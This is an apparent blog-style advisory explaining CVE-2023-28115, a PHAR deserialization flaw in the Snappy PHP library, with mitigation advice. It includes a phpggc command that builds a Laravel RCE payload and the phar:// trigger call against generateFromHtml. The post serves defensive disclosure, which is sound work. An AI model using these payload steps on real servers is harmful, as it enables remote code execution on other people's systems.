CVE-2023-28115 is a critical vulnerability affecting the Snappy PHP library, a popular tool used for generating thumbnails, snapshots, or PDFs from URLs or HTML pages. If you’re using Snappy in your web applications, especially with frameworks like Laravel or Symfony, you definitely need to pay close attention to this flaw.

This post will break down what went wrong, show you the dangerous code patterns, and explain how attackers can leverage this bug for remote code execution (RCE). Let’s make it simple, direct, and actionable.

What’s Snappy, and What Did Developers Miss?

Snappy is widely used for transforming web content into images or PDF files programmatically with PHP. Its flexibility makes it popular in content management systems, reporting tools, and even custom dashboards.

But up until version 1.4.2, Snappy didn’t properly validate file paths or protocols upfront. This left the door open for an attacker to sneak in a malicious payload through the use of the phar:// stream wrapper.

Where’s the Problem?

Snappy uses file_exists() to check the output file path before writing. Here’s a condensed version of the vulnerable logic:

// Vulnerable snippet in older Snappy versions
if (file_exists($outputPath)) {
    unlink($outputPath);
}

file_put_contents($outputPath, $content);

Normally, this seems harmless—just check if a file exists and overwrite it. But PHP supports stream wrappers like phar://, which can trigger object deserialization if the file is a PHAR archive containing a serialized object.

The Attack Explained: PHAR Deserialization

PHAR archives are a special file format in PHP that can contain metadata as a serialized PHP object. When any function reads a PHAR file via phar://, it will unserialize the metadata—even if you just call functions like file_exists() on it.

Upload a Malicious PHAR File:

For this attack to work, the bad guy needs to upload a file somewhere on your server (any file type is fine, so long as it's a valid PHAR archive).

Invoke Vulnerable Snappy Method:

The attacker tricks Snappy’s generateFromHtml() to use the path to their uploaded PHAR as $outputPath, using the phar:// protocol.

`php

// How the attacker triggers it
  $maliciousPhar = 'phar:///var/www/uploads/bad.phar/file.txt';

POC (Proof of Concept):

PHP will unserialize the PHAR’s metadata. If your codebase (or one of your vendor libraries) contains a vulnerable class with a “POP chain” (gadget), the attacker's code can run on your server.

#### Here’s a full example PHAR exploit creation:

You can create a PHAR payload using phpggc

phpggc Laravel/RCE1 system 'id' -p phar -o bad.phar

Place bad.phar onto the server (e.g., via file upload). Then trigger it via Snappy

$snappy->generateFromHtml($html, 'phar:///path/to/uploaded/bad.phar/file.txt');

If your application or its dependencies (like Laravel before a certain patch) contains a PHP object POP chain, this will execute system commands!

Any PHP web app using Snappy before v1.4.2, who lets users upload files.

- Especially dangerous with frameworks like Laravel or Symfony, which have documented deserialization gadget chains attackers can use (search: “PHP POP chain Laravel”).
- If your code ever lets users control the output path to Snappy’s generateFromHtml() (like in export, reporting, or print features, often with user-supplied naming), your site could be vulnerable.

How to Fix It

Upgrade Immediately:  
Version 1.4.2 of Snappy fixes the bug by restricting protocol usage and not swallowing exotic stream wrappers.

Sample secure code

// Snappy >= 1.4.2: Only allow filesystem paths
if (preg_match('#^(phar|ftp|zip|data)://#i', $outputPath)) {
    throw new \InvalidArgumentException("Dangerous protocol not allowed");
}

Limit file uploads to trusted users, and never trust uploaded file extensions alone.

- Keep your frameworks and their dependencies up to date to avoid latent deserialization gadget vulnerabilities.

References & Further Reading

- CVE-2023-28115 on GitHub
- Snappy 1.4.2 Release Notes
- Ambionics – PHP POP Chains
- OWASP – Deserialization of Untrusted Data

TL;DR

If an attacker can upload a file—and you’re using a vulnerable Snappy version—they can execute code on your server by triggering dangerous deserialization via the phar:// protocol. Patch now and audit your file handling logic!

Upgrading Snappy and following best PHP security practices is the only way to keep safe from this bug.

Timeline

Published on: 03/17/2023 22:15:00 UTC
Last modified on: 03/24/2023 16:40:00 UTC